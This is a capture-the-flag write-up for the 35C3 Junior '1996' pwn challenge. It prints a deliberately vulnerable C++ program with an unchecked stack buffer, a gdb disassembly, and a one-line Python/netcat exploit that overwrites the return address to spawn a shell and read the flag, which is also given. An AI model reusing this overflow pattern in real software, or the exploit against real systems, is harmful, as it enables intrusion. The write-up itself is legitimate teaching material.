# 35C3 Junior CTF – 1996
* **Category:** Pwn* **Points:** 42 (variable)
## Challenge
> It's 1996 all over again!>> nc 35.207.132.47 22227
## Solution
The challenge involves a simple *buffer overflow* vulnerability. You will have two files: a binary and a C++ source code. 
```C++// compile with -no-pie -fno-stack-protector
#include <iostream>#include <unistd.h>#include <stdlib.h>
using namespace std;
void spawn_shell() {    char* args[] = {(char*)"/bin/bash", NULL};    execve("/bin/bash", args, NULL);}
int main() {    char buf[1024];
    cout << "Which environment variable do you want to read? ";    cin >> buf;
    cout << buf << "=" << getenv(buf) << endl;}```
The objective is to change the return address of `getenv` function in order to hijack the flow to `spawn_shell` function.
```gdb -q ./1996
(gdb) disass spawn_shellDump of assembler code for function _Z11spawn_shellv:   0x0000000000400897 <+0>:	push   %rbp   0x0000000000400898 <+1>:	mov    %rsp,%rbp   0x000000000040089b <+4>:	sub    $0x10,%rsp   0x000000000040089f <+8>:	lea    0x1b3(%rip),%rax        # 0x400a59   0x00000000004008a6 <+15>:	mov    %rax,-0x10(%rbp)   0x00000000004008aa <+19>:	movq   $0x0,-0x8(%rbp)   0x00000000004008b2 <+27>:	lea    -0x10(%rbp),%rax   0x00000000004008b6 <+31>:	mov    $0x0,%edx   0x00000000004008bb <+36>:	mov    %rax,%rsi   0x00000000004008be <+39>:	lea    0x194(%rip),%rdi        # 0x400a59   0x00000000004008c5 <+46>:	callq  0x4007a0 <execve@plt>   0x00000000004008ca <+51>:	nop   0x00000000004008cb <+52>:	leaveq    0x00000000004008cc <+53>:	retq   End of assembler dump.```
The `spawn_shell` method will be loaded at `0x0000000000400897`.
To exploit the binary, you need to send at least 1024 characters (i.e. the `buf` size). After some analysis, the following exploit can be used to overwrite the return address.
```(python -c 'print "A"*1048 + "\x97\x08\x40\x00\x00\x00\x00\x00"' ; cat ) | nc 35.207.132.47 22227```
At this point, you will have a shell.
The `ls` command will reveal a `flag.txt` file.
The `cat flag.txt` command will reveal the flag.
```35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14```